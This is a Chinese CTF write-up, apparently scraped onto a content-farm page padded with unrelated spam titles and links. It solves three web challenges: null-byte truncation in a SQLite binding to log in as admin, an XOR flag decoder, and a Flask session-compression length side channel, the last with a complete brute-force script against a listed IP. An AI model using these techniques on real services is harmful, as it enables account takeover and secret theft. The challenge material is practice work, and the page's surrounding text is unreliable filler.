当前位置: 首页 > news >正文

怎样在手机上做自己的网站不是做有网站都叫狠狠

怎样在手机上做自己的网站,不是做有网站都叫狠狠,重庆建筑人才网招聘,中企动力网站icp备案通知目录 arclbroth lucky-flag whack-a-mole arclbroth 看到username为admin能拿到flag 但不能重复注册存在的用户 这题是secure-sqlite这个库的问题,底层用的是C,没处理好\0字符截断的问题 (在 Node.js 中,由于其字符串表示方式…

目录

arclbroth

lucky-flag

whack-a-mole


arclbroth

看到username为admin能拿到flag

但不能重复注册存在的用户

 

这题是secure-sqlite这个库的问题,底层用的是C,没处理好\0字符截断的问题

(在 Node.js 中,由于其字符串表示方式,字符串可能包含空字节。然而,在 C 语言中,字符串以空字节终止。)

 

 插入数据库的时候只会保留\0前的admin

 

带着这个session去访问

成功截断

 

lucky-flag

很夸张了

看下main.js,发现flag的加密逻辑

让gpt写个脚本解一下

 

import json# 原始加密字符串
enc = r'"\u000e\u0003\u0001\u0016\u0004\u0019\u0015V\u0011=\u000bU=\u000e\u0017\u0001\t=R\u0010=\u0011\t\u000bSS\u001f"'# 1. 解析 JSON(类似 JavaScript 的 JSON.parse)
parsed = json.loads(enc)# 2. 对每个字符进行 XOR 0x62 运算
rw = []
for c in parsed:xor_result = ord(c) ^ 0x62  # ord() 获取 Unicode 码点rw.append(xor_result)# 3. 将 ASCII 码转换为字符并拼接
flag = ''.join([chr(x) for x in rw])print(f"Flag: {flag}")

whack-a-mole

password 是 Flag的变形(每个字符ASCII码 + funny_num mod 128)

要求username等于变形后的password

考察flask的session机制

客户端 session 导致的安全问题 | 离别歌 

flask生成的session会对相同字符串进行zlip压缩(这里则是username为password的子串时)

通过session长度差异进行侧信道攻击

爆破脚本

import string
import requests# 目标网站基础URL
BASE_URL = "http://27.25.151.98:10001/"# 可能的flag字符(字母、数字、花括号、下划线)
ALLOWED_CHARS = string.ascii_letters + string.digits + "{}_"# 随机填充字符串,用于调整cookie长度
RANDOM_PADDING = "q3aUrDpfmRzMzABTCILvXCOA3Us"# 创建一个会话对象,维持登录状态
session = requests.Session()def get_session_length(guess_username):"""提交用户名猜测,返回加密后的session cookie长度"""response = session.post(BASE_URL.rstrip("/") + "/login",data={"username": guess_username, "funny": "0"},allow_redirects=False,)encrypted_session = session.cookies["session"]return len(encrypted_session)def construct_guess(current_prefix, test_char, padding_length):"""构造猜测字符串:重复 (current_prefix + test_char) + 填充"""repeated_guess = (current_prefix + test_char) * 16  # 16次重复以提高压缩率padded_guess = repeated_guess + RANDOM_PADDING[:padding_length]return padded_guessdef find_next_char(current_flag_prefix):"""尝试找出下一个正确的flag字符"""for padding in range(16):  # 尝试不同的填充长度(0-15)char_results = []for char in ALLOWED_CHARS:guess = construct_guess(current_flag_prefix, char, padding)session_length = get_session_length(guess)char_results.append((session_length, char))# 按session长度排序,最短的可能包含flag片段char_results.sort()# 如果最短长度的字符唯一,则认为是正确的if char_results[0][0] != char_results[1][0]:return char_results[0][1], paddingreturn None, None  # 如果没有找到,返回Nonedef main():current_flag = "lac"  # 初始已知的flag前缀best_padding = 0  # 记录当前最优的填充长度while "}" not in current_flag:  # 直到flag结束(以 } 结尾)next_char, best_padding = find_next_char(current_flag)if next_char is None:print("无法找到下一个字符!")breakcurrent_flag += next_charprint(current_flag)  # 输出当前flag猜测if __name__ == "__main__":main()

http://www.dtcms.com/a/420555.html

相关文章:

  • 解锁CRM系统流程优势:重塑企业客户关系管理的核心动能
  • 茂名做网站设计与网站建设案例
  • 文安做网站前端直播网站怎么做
  • 网站建设费可以抵扣么苏州网站建设系统方案
  • 河南省建设教育协会网站首页用asp做的网站有多少
  • 郑州做网站优化地址网站建设播放vr视频教程
  • 广西桂川建设集团网站seo运营招聘
  • JS逆向-代码混淆AST技术抽象语法树Obfuscator混淆还原接口数据节点AI生成
  • 前端开发网站开发wordpress fpm
  • 品牌网站建设怎么样设计深圳网站制作
  • 四川城乡建设官方网站百度网站建设要多少钱
  • 新站seo快速排名 排名58同城app下载安装手机版
  • Kafka 深度剖析:架构演进、核心概念与设计精髓
  • 网站模版 蓝色网站搭建服务平台
  • 网络设计师证书win10优化大师官网
  • 云渲染可以缓解硬件压力,延长使用时间
  • 青岛开发区建网站公司百度高级搜索首页
  • asp商业网站源码毕业设计
  • 上海seo网站优化域名收录查询工具
  • 全球速卖通官网首页代做网站优化
  • 免费做网站哪家好酒店如何做网络推广
  • 网站规格如何开网店详细步骤视频教程全集
  • 2025年用户体验佳的大型企业报销系统
  • 外贸专用网站品牌网站建设价格天天快递
  • 做运动鞋的网站视频关键词搜索工具爱站网
  • Ui.Vision RPA
  • 目标检测: yolov5算法在RK3588上部署
  • 做响应式网站的框架wordpress电商ar
  • KD论文阅读
  • wordpress设计的网站厦门网站建设公司哪家好